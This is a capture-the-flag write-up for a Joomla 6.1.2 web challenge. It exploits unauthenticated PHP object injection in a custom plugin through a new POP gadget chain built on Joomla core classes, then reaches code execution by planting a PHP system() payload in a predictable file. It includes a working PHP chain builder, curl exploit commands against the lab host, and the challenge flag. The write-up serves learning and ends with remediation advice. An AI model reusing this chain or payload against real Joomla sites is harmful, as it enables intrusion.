CyberApocalypse 2026 — Web — Provisioneds

- **Category:** Web
- **Target:** `154.57.164.82:31075` (Joomla 6.1.2, PHP 8.4.23, Apache)
- **Flag:** `HTB{j00mla_g4dg3t_ch41n_4r3_fun_r1ght?_083e907c25ea9615d36707467dfe38f7}`

---

1. TL;DR

The challenge ships a stock **Joomla 6.1.2** install plus a custom system plugin, `plg_system_gatehouse`. On the `onAfterRoute` event the plugin passes a raw, attacker-controlled request parameter straight into `unserialize()` **without authentication**:

```
(new GatehouseRepository())->importMonthlyLedger($ledger);
// ...
$data = @unserialize($ledger);   // PHP Object Injection
```

All of the classic Joomla / vendor POP chains are hardened in 6.1.2 (`FnStream`, `FormattedtextLogger`, the `symfony/http-client` responses all block unserialization), so a **bespoke gadget chain** is required. The one used here is:

```
MysqliDriver::__destruct()
  → DatabaseDriver::disconnect()
    → DatabaseDriver::dispatchEvent(ConnectionEvent(POST_DISCONNECT))
      → Joomla\Event\Dispatcher::dispatch('onAfterDisconnect', $event)
        → $listener($event)                      // listener = [JNamespacePsr4Map, 'load']
          → JNamespacePsr4Map::load()
            → require $this->file;                // arbitrary local-file include
```

Because the same plugin lets us **write attacker-controlled content** to a known path on disk (`/var/www/html/tmp/provision-monthly-goods.json`), we first seed that file with a PHP payload, then point the `require` at it — turning the LFI into full RCE. Running the setuid-root helper `/readflag` yields the flag.

---

2. Recon

The provided archive contains:

```
Dockerfile              # php:8.4-apache + MariaDB, installs Joomla 6.1.2
docker-compose.yml
readflag.c              # setuid-root: cat /root/flag.txt
flag.txt                # /root/flag.txt (0600, root only)
scripts/entrypoint.sh   # installs Joomla, enables the gatehouse plugin
plugin/                 # plg_system_gatehouse  <-- the interesting bit
```

Key facts from the Dockerfile / entrypoint:

- The real flag is only readable through `/readflag` (`-rwsr-xr-x root`), so we need **code execution**, not just file read.
- Joomla is installed with a **random 32-char admin password** each boot, so the intended path is *not* an admin login — it is the plugin.

The vulnerable plugin

`plugin/src/Extension/Gatehouse.php` subscribes to two application events. The critical one is `onAfterRoute`:

```
public function onAfterRoute(AfterRouteEvent $event): void
{
    $app = $event->getApplication();
    if (!$this->isAdminImportContext($app)) {
        return;
    }
    $ledger = $app->getInput()->getRaw('ledger', '');
    if (!is_string($ledger) || trim($ledger) === '') {
        return;
    }
    (new GatehouseRepository())->importMonthlyLedger($ledger);
}

private function isAdminImportContext($app): bool
{
    if (!$app->isClient('administrator')) {
        return false;
    }
    $input = $app->getInput();
    return $input->getCmd('option') === 'com_provision'
        && $input->getCmd('view')  === 'dispatch'
        && $input->getCmd('task')  === 'ledger.import';
}
```

`isAdminImportContext()` only checks that the request targets the **administrator** application with three query parameters. It does **not** check authentication — `onAfterRoute` runs for every request, well before Joomla's admin login is enforced. So any anonymous visitor can reach:

```
/administrator/index.php?option=com_provision&view=dispatch&task=ledger.import&ledger=<data>
```

And `GatehouseRepository::importMonthlyLedger()` does:

```
public function importMonthlyLedger(string $ledger): array
{
    if (trim($ledger) === '') { /* ... */ }
    $data = @unserialize($ledger);        // <-- PHP Object Injection
    if (!is_array($data)) { /* ... */ }
    return $this->importMonthlyRecords($data);
}
```

→ **Unauthenticated PHP Object Injection.**

A bonus primitive: attacker-controlled file content

When a *valid* records array is imported, `normalizeMonthlyGoods()` / `saveMonthlyGoods()` write it to a **fixed, world-known path**:

```
private function monthlyGoodsPath(): string
{
    return '/var/www/html/tmp/provision-monthly-goods.json';
}
// ...
@file_put_contents($path, json_encode($months, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), LOCK
```

The month **label** is copied verbatim into that JSON (only stripped of `\0 \r \n \t` and truncated to 180 chars). This gives us a way to plant arbitrary bytes — including a `<?php ... ?>` block — into a predictable file. Keep this in mind for step 2.

Confirming the injection reaches `unserialize()` unauthenticated (a benign array is reflected on the public board):

```
php -r 'echo serialize([["month"=>"PWNTEST-MONTH","packages"=>7777]]);' > benign.txt
curl -s "http://TARGET/administrator/index.php?option=com_provision&view=dispatch&task=ledger.im
     --data-urlencode "ledger@benign.txt"
curl -s "http://TARGET/" | grep PWNTEST-MONTH   # -> present
```

---

3. Building the gadget chain

3.1 The constraints of Joomla 6.1.2 / PHP 8.4

Enumerating every `__destruct` / `__wakeup` / `__toString` in `libraries/` (including all of `libraries/vendor/`) shows the well-known chains are dead:

Gadget	Why it's dead in 6.1.2
`GuzzleHttp\Psr7\FnStream`	`__wakeup()` unconditionally throws
`Joomla\CMS\Log\Logger\FormattedtextLogger` (phpggc `Joomla/FW1`)	`__wakeup()` throws when `defer && deferredEntries` — the exact state the file-write needs
`Symfony\...\BufferingLogger`	`__serialize()` **and** `__unserialize()` throw
`Symfony\...\HttpClient\Response\*` (Native/Curl/Mock/Async/Amp)	`CommonResponseTrait::__unserialize()` throws
`Symfony\Component\String\LazyString`	`$value` is typed `\Closure|string` (no object injectable)
`phpseclib3\Crypt\Hash::__toString`	only returns a string property; never reaches its `call_user_func` sinks

PHP 8.4 also closes the classic *"throw in `__wakeup`, `__destruct` still runs"* bypass: if `__wakeup` / `__unserialize` throws, the object's `__destruct` does **not** fire. So the **entry point must be a real `__destruct`** on a class that does not have a throwing wake-up guard.

Additional hard fact discovered while tracing: in this codebase **no `__destruct` casts a controlled property to string** and **no `__destruct` calls a method with an attacker-controlled argument** — every reachable call from a destructor is a *zero-argument, fixed-name* method call. That rules out most "clever" pivots and points us toward a sink that needs **no argument control at all**.

3.2 The zero-argument RCE sink

`libraries/namespacemap.php` defines the un-namespaced class `JNamespacePsr4Map` which is loaded on every Joomla request:

```
class JNamespacePsr4Map
{
    protected $file = JPATH_CACHE . '/autoload_psr4.php';
    private   $cachedMap = null;

    public function exists() { return is_file($this->file); }

    public function load()
    {
        if (!$this->exists()) { $this->create(); }
        $map = $this->cachedMap ?: require $this->file;   // <-- LFI / RCE
        // ...
    }
}
```

`load()` takes **no arguments** and does `require $this->file`, where `$file` is a fully controllable property. If we set `file` to a path whose contents we control, this is code execution. We already control `/var/www/html/tmp/provision-monthly-goods.json` (§2), so:

- set `cachedMap = null` (so `?:` falls through to the `require`),
- set `file = /var/www/html/tmp/provision-monthly-goods.json`.

Because the file already exists after our first request, `exists()` is true and `create()` is skipped — the `require` fires directly.

3.3 Reaching `load()` from a destructor — the event dispatcher

We now need a `__destruct` that ends up *calling* `load()`. The elegant connector is Joomla's own event dispatcher:

`Joomla\Event\Dispatcher::dispatch()` iterates a **fully controllable** array and invokes each element **as a callable**:

```
public function dispatch(string $name, ?EventInterface $event = null): EventInterface
{
    // ...
    if (isset($this->listeners[$event->getName()])) {
        foreach ($this->listeners[$event->getName()] as $listener) {
            if ($event->isStopped()) { return $event; }
            $listener($event);          // <-- invoke controlled callable
        }
    }
    return $event;
}
```

`$this->listeners` is a plain `protected $listeners = []`. If we set it to `['onAfterDisconnect' => [ [ $jnsMap, 'load' ] ]]`, then `dispatch()` performs `[$jnsMap,'load']($event)` → `JNamespacePsr4Map::load($event)` (the extra `$event` argument is harmlessly ignored) → `require`.

Who calls `dispatch('onAfterDisconnect', ...)` from a destructor? `Joomla\Database\DatabaseDriver`:

```
public function __destruct() { $this->disconnect(); }

public function disconnect()
{
    $this->freeResult();                      // guarded by $this->statement
    $this->connection = null;
    $this->dispatchEvent(new ConnectionEvent(DatabaseEvents::POST_DISCONNECT, $this));
}

protected function dispatchEvent(EventInterface $event)
{
    try {
        $this->getDispatcher()->dispatch($event->getName(), $event);
    } catch (\UnexpectedValueException $exception) { /* ignore missing dispatcher */ }
}
```

`DatabaseDriver` is abstract, so we use the concrete **`MysqliDriver`**, which:

- extends `DatabaseDriver` **directly** (so it does **not** inherit `PdoDriver::__wakeup()`, which would fire during unserialize),
- has **no** throwing `__wakeup` / `__unserialize` / `__serialize`,
- inherits the base `__destruct`,
- overrides `disconnect()` but still calls `parent::disconnect()`:

```
public function disconnect()
{
    if (\is_callable([$this->connection, 'close'])) { $this->connection->close(); }
    parent::disconnect();
}
```

With `connection = null` the `close()` branch is skipped, `statement = null` skips `freeResult()`, and `dispatcher` set to our poisoned `Dispatcher` makes `getDispatcher()` return it. `ConnectionEvent::getName()` returns `'onAfterDisconnect'`, matching our listener key, and `isStopped()` is `false`.

3.4 Full chain

```
MysqliDriver::__destruct()
 └─ MysqliDriver::disconnect()              (connection=null → skip mysqli close)
     └─ DatabaseDriver::disconnect()
         └─ dispatchEvent(ConnectionEvent('onAfterDisconnect', driver))
             └─ Joomla\Event\Dispatcher::dispatch('onAfterDisconnect', $event)
                 └─ ($listener)($event)       listener = [JNamespacePsr4Map, 'load']
                     └─ JNamespacePsr4Map::load()
                         └─ require '/var/www/html/tmp/provision-monthly-goods.json'
                             └─ <?php system('/readflag'); die; ?>
```

---

4. Exploitation

Step 0 — payload notes

- The serialized payload contains **NUL bytes** (private-property name mangling), so it is sent as a `--data-urlencode`d POST field.
- The planted PHP must use **single quotes** only: `json_encode()` escapes `"` to `\"` which would corrupt the `<?php ... ?>` block. `JSON_UNESCAPED_SLASHES` is set by the plugin, so `/readflag` survives intact.
- We append `die;` so execution stops cleanly right after `system()`, flushing the flag into the HTTP response before Joomla continues.

Step 1 — plant the PHP file

```
php -r 'echo serialize([["month"=>"<?php system(\047/readflag\047);die;?>","packages"=>1]]);' >

curl -s "http://154.57.164.82:31075/administrator/index.php?option=com_provision&view=dispatch&t
     --data-urlencode "ledger@step1.bin"
```

This writes to `/var/www/html/tmp/provision-monthly-goods.json`:

```
[
    {
        "slug": "php-system-readflag-die",
        "label": "<?php system('/readflag');die;?>",
        ...
    }
]
```

Step 2 — build & fire the POP chain

`build.php` (needs the Joomla 6.1.2 source tree for the class definitions):

```
<?php
require_once 'libraries/namespacemap.php';
use Joomla\Database\Mysqli\MysqliDriver;
use Joomla\Event\Dispatcher;

function setp($obj,$name,$val){
    $rc=new ReflectionClass($obj);
    while($rc && !$rc->hasProperty($name)){ $rc=$rc->getParentClass(); }
    $p=$rc->getProperty($name); $p->setAccessible(true); $p->setValue($obj,$val);
}

$map = new JNamespacePsr4Map();
setp($map,'file','/var/www/html/tmp/provision-monthly-goods.json');
setp($map,'cachedMap',null);

$disp = (new ReflectionClass(Dispatcher::class))->newInstanceWithoutConstructor();
setp($disp,'listeners',['onAfterDisconnect'=>[ [$map,'load'] ]]);

$drv = (new ReflectionClass(MysqliDriver::class))->newInstanceWithoutConstructor();
setp($drv,'connection',null);
setp($drv,'statement',null);
setp($drv,'dispatcher',$disp);

file_put_contents('payload.bin', serialize($drv));
```

```
php build.php     # -> payload.bin

curl -s "http://154.57.164.82:31075/administrator/index.php?option=com_provision&view=dispatch&t
     --data-urlencode "ledger@payload.bin"
```

Result

```
[
    {
        "slug": "php-system-readflag-die",
        "label": "HTB{j00mla_g4dg3t_ch41n_4r3_fun_r1ght?_083e907c25ea9615d36707467dfe38f7}
```

The `require` echoes the JSON up to the `<?php` tag, then `system('/readflag')` prints the flag.

---

5. Flag

```
HTB{j00mla_g4dg3t_ch41n_4r3_fun_r1ght?_083e907c25ea9615d36707467dfe38f7}
```

---

6. Remediation

- **Never** `unserialize()` untrusted input. Use `json_decode()` (the plugin already uses JSON for its own storage — the serialize path is gratuitous), or `unserialize($x, ['allowed_classes' => false])`.
- Enforce authentication/authorization inside plugin event handlers; do not rely on the administrator app's later login checks.
- Don't write user-controlled content to predictable paths inside the web root. ```